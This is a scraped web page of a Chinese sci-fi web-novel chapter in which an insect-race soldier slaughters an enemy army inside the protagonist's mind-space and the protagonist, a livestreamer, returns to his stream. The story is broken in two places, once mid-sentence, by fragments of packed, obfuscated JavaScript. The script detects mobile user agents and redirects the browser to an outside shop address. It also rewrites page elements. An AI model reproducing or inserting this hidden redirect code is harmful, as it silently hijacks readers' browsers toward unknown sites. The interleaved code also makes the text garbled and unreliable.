自己看得分明，那对黑翼的根部，压根就没有连在金色光球上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609388|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在光球的后方，藏着一只，背靠着光球，抱膝而坐的……军雌？！ 他讶异的这几秒钟之间，又有士兵从军雌的视野盲区扑上去，气势汹汹地劈砍，偷袭势在必得。 那黑翼却跟像长了眼睛似的，动作行云流水，往左后方一挥—— 血雾当即爆开。 唰啦啦—— 路寻衍耳边嘈杂声响起。 漫天血雨尽数打在他脸上，噼里啪啦浇透全身。 这滋味糟糕透顶。 冰冷黏稠的血雨封堵他的呼吸，宛如在水中闭气，不留半点喘息的空隙。 路寻衍被呛得窒息难受，连连咳嗽着把头猛转过去，却不能操控意识海的光球随之一同改变方向，只好剧烈地胸口起伏着闭紧了双眼，五官都拧曲。 他的双拳紧攥，竭力想摆脱这困局，毕竟卢施就在近前，自己必须打起精神来，专心应对。 好不容易忍到能喘口气了，路寻衍正要睁开眼睛…… 突然。 背后传来一阵“咔啦啦”的热身活动拉伸关节般的脆响。 紧接着有道人影随之踱步而出。 他背生双翼，纯黑吞噬光线，极具压迫感。 展翅如夜幕降临，倏地带起气流往上盘旋的同时，露出被刚才折叠着的翅膀遮挡的小半部分紧身作战服。 它缚住了他的躯体，勾显身材宽肩窄腰，肌肉恰到好处地紧实而不觉臃肿，整个人看上去劲瘦高挑，两腿笔直有力。 “嗒。” 深黑的高帮军靴落地刚往前踏出半步，卢施就唰地变化脸色，似是见着了从地狱里爬出来复仇的恶鬼，整个世界都安静，所有的厮杀声仿佛都在这一刻散去，如同潮退那般，瞬间万籁俱寂。 他一边情不自禁的开始踉跄着往后倒退，一边颤颤巍巍地指向那身影，嗓音哑不成声。 “阿……！” 与此同时，黑翼振动，如巨斧斜劈。 路寻衍眼睛都来不及眨一下，就见一道残影在半空中掠过，卢施的身体在转瞬间就被黑翼斜着往上剖开了来，一分为二，鲜血哗啦啦朝空中喷溅。 见状，他的嘴唇微张，却发不出任何声音。 这实在超乎想象。 那只难搞的雌虫居然“啊！”的一声就被来路不明的另一只用翅膀砍死了。 战力的对比过于悬殊，几乎立刻让他想到—— 新出现的军雌比他应付过的所有雌虫还要难搞。 路寻衍顿时戒备起来，眼底冷若冰霜，但看在那不明生物曾施以援手的份上，决定先礼后兵。 “谢谢你救我。” 说完，他暗自在脑中酝酿新一轮足以毁天灭地的精神力海啸防止待会出现突发状况，才继续礼貌但一点都不客气地问道： “你是谁？又为什么会出现我的意识海里？你……” 路寻衍的话一凝。 对方突然冷冷地偏过头来，抖落翼上的血水。 深灰色的左眼毫无波澜地睥睨他，状若未闻。 僵持之际，那身影先动了，倏而抬脚绕过卢施的尸体，凑上前来，在路寻衍更加警戒时，用侧脸像动物表达亲近那般、一下又一下地往上轻拱着他的耳垂，还貌似很舒服地打起了鼻鼾，眼皮里的那层薄灰的瞬膜也如同推拉窗似地从右往左，缓慢地合拢了，就这样没个睡姿的倚在他身上，沉沉睡去。 路寻衍：？ 15. Q版小人 阿斯克其实压根没有听到任何声音，眼中浑然是另一幅景象。 只见自己解决完眼前最大的危机之后，金色光球反而开始不安分地乱动。 他这才倒了过去，用脸把它压住。 常年征战在外、手上没个轻重的阿斯克刻意规避了那些寻常的触碰方式。 因为他对自己最低程度的力道心里有数，用手或者用翅膀很容易就一个不小心把它拍碎，变成泡沫，盈盈消散。 所以选择用脑袋贴着金色光球。 阵阵温暖从它的表面传来，令虫紧绷的精神也随之变得懒洋洋的。 阿斯克挨着光球，情不自禁地放松了下来，眼皮很快就一搭一搭。 轻鼾声响起。 他最开始睁眼的时候，其实不在这里。 面前有一条空白的长廊，在某刻赫然浮现数不胜数的圆形光斑。 它们基本都是银白色，有大有小。 有些完整，有些残缺，有些黯淡，有些明亮。 但他最终所选的这颗，跟别的所有光斑相比，简直堪称最大、最亮！ 它不仅最好看、最完整，还散发着柔和金光，让阿斯克情不自禁地靠近。 就像在冰天雪地里的徒步旅行者见到冬日暖阳，一旦去拥抱，便再也撒不开手了。 阿斯克目前就是这种状态。 他贴在光斑上，只能用自己熟悉的事物去形容这感觉——那就是类似坐在超级舰主驾驶座位上那种万米/秒加速升空般的飞天感，比自己张开翼翅在大气对流层玩跳伞滑翔还爽，差点灵魂出窍。 再回神，他已经莫名地自发走近、背靠着金色光球，抱膝而坐了。 体感像是泡进原始自然星的温泉里，从头到尾都在被治愈，如沐春风。 脚下偶有淡蓝色的涟漪拍打他的高帮军靴，却没有往常战后那样在四周继续熊熊燃烧的海面烈火和浓黑硝烟。 亦无机甲残骸，或者同伴的尸体。 总结，这里不是自己记忆断片之前亲自去第七军团驻扎星领空处理的那场超大型星兽潮汐坍缩残留的空白奇点。 现在平静得有些过分了，难道这就是那帮懒虫所谓的“休假”的感觉？ 阿斯克心底又突然腾起几分不适。 他自入伍以来就鲜少休假，有大量的可用假期在年底被一笔勾销。 他的副官总在这时候露出痛心疾首的表情。 但说实话，自己还是更习惯在外太空高压的状态下全身心紧绷。 军雌就是这样的群体，时刻都在向前征伐、受伤、自愈、再征伐。 现在骤然失去攻击的目标，阿斯克罕见地停下脚步，张望着四周。 头顶是一片深黑的星空，中间有一朵气团状的，内白、外鲜红的玫瑰星云绽放，气旋层层叠叠，越压越近。 他扑了下翅膀，潜意识开始寻找起战术躲避点。 刚瞥见右手边的远处有一座轮廓模糊的离岛，上面好像还林立了片风格落后在星际时代不常见的复古米白色宫殿群，空中有朝外溢散的光圈笼罩。 没来得及细看，卢施就开门进来挑衅了。 阿斯克注意到对方没有察觉到自己的存在，干脆收起翼翅，保持背靠金色光球的姿势见机行事，果真效果拔群。 卢施被斜斩成两半，血肉纷飞。 处理完这个麻烦，他转头就见光球想跑，便朝着它的方向直挺挺倒去。 路寻衍下意识想躲，却只能眼睁睁看着那张模糊的脸在眼前放大。 好沉！ 这虫是实心铁铸的吗？感觉肩膀上生接了一根朝自己倒塌下来的承重柱！ 脑子里准备好的精神力海啸瞬间卡壳。 淡蓝色波涛汹涌但凝滞，后手就这样悬在了半空，不知是该发还是该收。 路寻衍保持着警惕，但由于光球位置被固定的限制，只能拿眼角余光去扫。 视线略微下垂，就能瞥见那军雌顶着一头做了时髦造型的硬质黑发贴蹭他的下颌，发出呼噜呼噜的低沉喉音。 路寻衍大跌眼镜，放在几分钟前自己是如何也想不到事情会变成这样。 就在他腹诽“你倒是睡得挺安逸”之际，那虫又深深地吸了一口气，缓吐出去。 温热的鼻息喷在他左颈，像柳絮拂过他锁骨，带来似有若无的微痒触感。 路寻衍的眼角开始不受控制地抽搐起来。 心中暗自加力，正想给这睡虫来个海盗船大摇摆把他晃醒，就见那双收拢在背后的巨大黑翼跟随主虫吸气的动作轻轻擦过自己的脸颊。 那双染血后收拢起来的“斧子”边缘滴着血，近在咫尺。 样子有点类似蜂类的膜翅。 细看并非幕布般纯黑，而是半透明的，边缘锋利如刃。 每一次轻微的刮擦，都像有无数把剃刀在他脸上游走，令人寒毛直立。 路寻衍盯着它，注意力霎时间全都集中在了这遮蔽了自己大半视线的翼翅上。 时间很快就过去。 他从最初的震惊，到中途的沉默，再到后来的麻木，甚至开始有闲心研究起别的。瞧这背部线条随着呼吸微微起伏、肌肉紧实沟壑清晰，上宽下窄。 最绝的是那两边肩胛骨的形状。 像一对收拢的鹰翼，沉睡在皮肉之下，充满蓄势待发的张力。 比那些成天就知道在微博打卡摆拍健身装勤奋的男明星货真价实得多。 嗯。身材万里挑一，气场能高能低，倒是个当演员的好苗子。 就是不知道性格怎么样，有没有可塑性？ 正当他职业病犯，像个选角导演一样开始综合评估对方的各项潜能时，耳旁那平稳的鼻鼾声毫无征兆地停止了。 路寻衍心里咯噔一下。 紧接着，他感觉到靠在自己肩上的那具身体，后颈肌肉在一瞬间绷紧，从原本惬意放松的状态，变得比铁还硬。 那颗枕在他肩头的脑袋，缓缓地，一寸一寸地抬了起来，像是预知到了什么。 随后不到半秒，本已偃旗息鼓的咆哮声再次从四面八方齐涌，震耳欲聋。 “杀啊！！！” 卢施留下的残兵悍不畏死地前赴后继。 放眼望去，黑压压的一片，像是决堤的蚁潮，要将他们彻底淹没。 路寻衍眼神一厉，脑中精神力调动，化作滔天巨浪，咆哮着席卷而出，正要狠狠地拍在冲在最前面的敌兵身上—— 旁边的军雌动了。 他撑着路寻衍的肩膀，慢吞吞地站直身体。 甚至还打了个哈欠。 路寻衍的心都要提到嗓子眼。 都什么时候了还不赶紧醒醒！ 然而，那军雌只是抬起下巴，看向那群已经冲到近前的敌兵，姿态无所谓地捏了捏拳头，骨节发出一连串清脆的爆响。 下一秒。 他动了。 似在风暴中乍现的雷光，倏地化作道黑色残影，一头扎进了敌军的洪流之中。 快到极致！ 暴力到极致！ 一拳。 最前方的几个士兵连虫带甲被砸成团模糊的血肉。 拳风激荡，他身后的士兵也都被掀飞出去。 有虫试图趁机绕到他的背后搞偷袭，阿斯克直接反手一肘！ 那士兵的脑袋立刻旋转了两个三百六十度。 而他甚至懒得回头去看结果。 更多的虫杂碎涌上来。 阿斯克彻底不耐烦了，唰地猛然展翼，带着撕裂空气的锐响用翅膀在战场上横扫，犹如两柄无坚不摧的巨型镰刀。 凡是被翼翅边缘碰到的士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609389|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵，无论是身体还是武器，都在瞬间被切割，嘭地一阵化作漫天飞扬的血雾。 从头到尾，阿斯克都没有半点多余的动作。 整肃大军此刻就如同橡皮擦下的铅笔字，被成建制地抹去。 来不及再多怒吼，更来不及哀嚎。 很快。 喊杀声消失殆尽，世界重归死寂。 只剩下浓得化不开的血雾，在空气中升腾、弥漫。 那军雌就站在中央，黑翼扑棱了两下，缓缓收拢。 总用时不到三秒钟，余下的这场鏖战就被终结了。 速度快到周围的血雨团团爆开，卢施的尸体却还来不及倒下。 歪歪扭扭，肚子中间破开条大缝，里面不断地滴血。 路寻衍站在原地。 透过那条遗留在他面前的“水帘洞”看完了整场单方面碾压屠杀，视线落在远处冷冷地往回望的军雌身上。 发出真情实意的呕声。 血太臭了。 哪怕将意识海跟直播间断联，那股味道依旧紧紧地扒在他鼻尖，像长了爪子。 “余音绕梁”，挥之不去。 路寻衍眼角泛起生理性泪光，弯着腰用袖子捂住口鼻，强忍反胃不适。 半晌。 他终于再也克制不住，突然猛站起来，大跨步走到窗边“嘭！”一声用力地拉开了生锈卡壳的玻璃窗，把头伸进零下三十华氏度的室外，俯首剧烈地喘息起来，冷空气在顷刻间泵入鼻腔。 窗外的凌厉冷风掺着雪，刮在他脸上，皮肤很快就泛起被冻伤的红晕。 路寻衍却浑不在乎，任由风吹雨打，大口大口地张嘴呼吸着新鲜空气。 少量雪片融化在了唇上，立马形成零下十几二十度的冰水，刺得他激灵着清醒，想起便宜小舅子瑞奇定的两百万一周KPI要求。 路寻衍扒在窗边，回头看了眼倒地昏睡的三排条形码，有些烦躁地闭上双眼，银眉紧簇，长长地叹了一口气。 没时间给自己休息。 …… 现在该挣钱还债了。 他仓促地伸出大拇指在自己的唇瓣下方一碾，抹去冰水后，关窗返回。 掌心还是鲜红的单指点开光屏，扫了眼智脑左上角的时间，暗中琢磨： 自己离开得不久，统共也就两、三分钟，直播间舆情应该没什么太大的变化。 想想他走之前放上去的那几排，在21世纪人类看来富有诗意、在虫族居民眼里下三滥恶心的入场文段，评论区就算开闹，翻来覆去也无非那些花样。 总归是有虫支持，有虫反对，还有头铁的自贱者依旧在死鸭子嘴硬。 可当路寻衍去看直播间，自己先被这莫名其妙出现在屏幕右上角、跟他的头像对称站立的Q版小人吓了一大跳。 倒不是突然出现的它把他嚇住了。 而是这小东西高频地振动着背后被依照身体尺寸等比缩小的翼翅，一副随时准备攻击的模样，摆出的姿态震人。 只见他的神情桀骜，头部微扬，一脸满不在乎地左手叉腰、右手举起，朝屏幕外面所有在@巡演直播间没有素质管不住本能浩浩汤汤发弹幕骂街的虫，又懒又大爷地比了一个国际友好手势。 凸！ …… 这脾气，这拽样，饶是路寻衍，都差点宕机一秒。 直播间Q版小人给他的感觉，怎么好像似曾相识？ 评论区也炸开了锅，【我去？！@巡演贴脸开大，雇佣手替怼虫！？】 【这他*谁？难道是剧中的艾瑞克本体登场？！】 【本来就看个假故事，结果居然搞到真的了，主播这次玩很大啊，99%认识那个独占阁下雌君位的艾瑞克。】 【查！兄弟们，给我查！高等阁下不跟我结婚的原因找到了！】